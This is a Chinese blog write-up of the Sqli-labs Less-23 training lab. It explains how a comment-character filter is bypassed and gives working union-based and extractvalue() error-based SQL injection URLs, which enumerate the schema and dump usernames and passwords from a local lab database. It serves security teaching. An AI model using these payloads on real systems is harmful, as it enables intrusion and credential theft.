mysql闭合符号被过滤_Sqli-labs Less-23 绕过注释符过滤 union注入

博客讲述了在遇到MySQL中闭合符号被过滤的情况下,如何通过Sqli-Labs的Less-23挑战进行SQL注入。关键在于利用`union`构造查询,绕过注释符过滤,如使用`-1`确保第一个`select`无结果,`extractvalue()`进行报错注入,以及通过联合查询获取数据库名、表名、列名和数据。
摘要由CSDN通过智能技术生成

关键源码如下

$reg = "/#/";

$reg1 = "/--/";

$replace = "";

$id = preg_replace($reg, $replace, $id);

$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

print_r(mysql_error());

此处主要是在获取id参数时进行了#,--注释符号的过滤。

Solution:

92f47465453daeff90f40c29b99afe96.png

此处的sql语句为

SELECT * FROM users WHERE id='-1' union select 1,(select database()),'3' limit 0,1

Explain:此处讲解几个知识点:

1、id=-1,为什么要用-1,因为sql语句执行了两个select语句,第一个select为id的选择语句,第二个为我们构造的select语句。只有一个数据可以输出,为了让我们自己构造的数据可以正常输出,第一个select要没有结果,所以-1或者超过数据库所有数据都可以。

2、-1' union select 1,(select database()),'3,第一个'(单引号)闭合-1,第二个'(单引号)闭合后面的。这样将查询内容显示在username处。

3、此处可以报错注入,延时注入,可以利用or '1'='1进行闭合。http://127.0.0.1/sql/Less-23/index.php?id=-1' and extractvalue(1,concat(0x7e,(select database()),0x7e)) or '1'='1

以上这条语句就是利用extractvalue()进行报错注入。

13ba73a95542b85564ddf063d9a8c39e.png

将select database()修改为其他的选择内容或者是内嵌的select语句。

4、以下用联合注入方法进行注入。

•获取数据库

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),'3

15a3b4dc7a62324715a6105b129a6de7.png此处获取的数据库为security

•查看security库数据表

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),'3

68c266004dac9a9aae56e3a5d2b93c7f.png

•查看users表的所有列

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),'3

e8524911e72450e736685430661920ff.png

•获取内容

http://127.0.0.1/sql/Less-23/index.php?id=-1' union select 1,(select group_concat(username,0x3a,password) from users),'3

9164a4245a74c35f0f1932d7fe5e1fe0.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值